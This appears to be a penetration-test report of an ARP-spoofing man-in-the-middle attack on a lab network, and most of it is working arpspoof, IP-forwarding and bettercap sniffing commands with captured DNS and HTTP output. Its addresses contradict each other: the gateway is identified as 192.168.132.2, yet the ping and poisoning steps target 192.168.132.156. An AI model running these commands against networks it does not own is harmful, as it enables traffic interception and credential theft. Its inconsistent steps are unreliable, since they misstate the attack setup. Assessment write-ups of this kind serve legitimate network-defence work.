Man-in-the-Middle Attack using ARP Spoofing & Traffic Sniffing

Organization: ZeroDay Security Services

Description

This assessment demonstrates a Layer 2 Man-in-the-Middle (MITM) attack using ARP spoofing to intercept and analyze network traffic between a victim system and the gateway.

By poisoning ARP tables, the attacker positions themselves between the victim and the router, enabling traffic interception, monitoring, and manipulation.

Step 1: Network Identification

Victim System (Windows)

ipconfig

Finding:

• Victim IP: 192.168.132.137
• Gateway: 192.168.132.2

Attacker System (Kali)

ip a

Finding:

• Attacker IP: 192.168.132.158
• Interface: eth0

Step 2: Network Discovery

arp-scan -l

Findings:

• Active hosts:
• 192.168.132.137 → Victim
• 192.168.132.2 → Gateway
• Other VMware hosts

Conclusion: Target pair identified for MITM positioning.

Step 3: Connectivity Verification

ping 192.168.132.156 -t

Observation:

• Stable ICMP responses before attack

Step 4: ARP Poisoning Setup

Poison Victim → Gateway mapping

arpspoof -t 192.168.132.156 192.168.132.137

Poison Gateway → Victim mapping

arpspoof -t 192.168.132.137 192.168.132.156

Observation:

• Continuous forged ARP replies:

192.168.132.137 is-at attacker MAC
192.168.132.156 is-at attacker MAC

Finding:

• Both victim and gateway ARP tables poisoned
• Traffic now routed through attacker

Step 5: Impact Verification

During poisoning:

• Ping results show:
• Packet drops
• Timeouts
• Increased latency

Conclusion:

• MITM position successfully established
• Network disruption confirms interception

Step 6: Enable Packet Forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

Finding:

• Ensures traffic forwarding between victim and gateway
• Maintains connection stability during MITM

Step 7: Firewall Verification

iptables --list

Observation:

• Default ACCEPT policies

Finding:

• No filtering interfering with packet forwarding

Step 8: Bettercap Setup

bettercap -iface eth0

Observation:

• Interface initialized
• Gateway monitoring started

Step 9: Target Configuration

net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets 192.168.132.137
arp.spoof on

Finding:

• Full duplex ARP spoofing enabled
• Victim targeted for interception

Step 10: Traffic Sniffing Activation

set net.sniff.local true
net.sniff on

Step 11: Captured Traffic Analysis

Observed DNS Queries:

icpanel.hackcrack.io → 161.248.179.14

Observed HTTP Requests:

GET /filestreamingservice/...
Host: msedge.b.tlu.dl.delivery.mp.microsoft.com
User-Agent: Microsoft BITS/7.8

Additional Observations:

• DNS reverse lookups failing (in-addr.arpa)
• HTTP headers captured:
• User-Agent
• Connection
• Accept-Encoding

Step 12: MITM Validation

• Traffic successfully intercepted:
• DNS queries
• HTTP requests
• Victim browsing activity visible
• Gateway communication fully proxied

Key Findings

• ARP spoofing successfully performed
• Victim-gateway communication intercepted
• Clear-text HTTP traffic captured
• DNS queries exposed internal browsing behavior
• No network-level protections (e.g., ARP inspection) detected

Impact

• Full traffic visibility
• Credential interception potential
• Session hijacking possibility
• DNS manipulation capability

Conclusion

This assessment demonstrates that lack of ARP validation and network segmentation allows attackers to perform MITM attacks with minimal effort.

Even without exploiting vulnerabilities, attackers can gain significant visibility into network communications simply by abusing trust in Layer 2 protocols.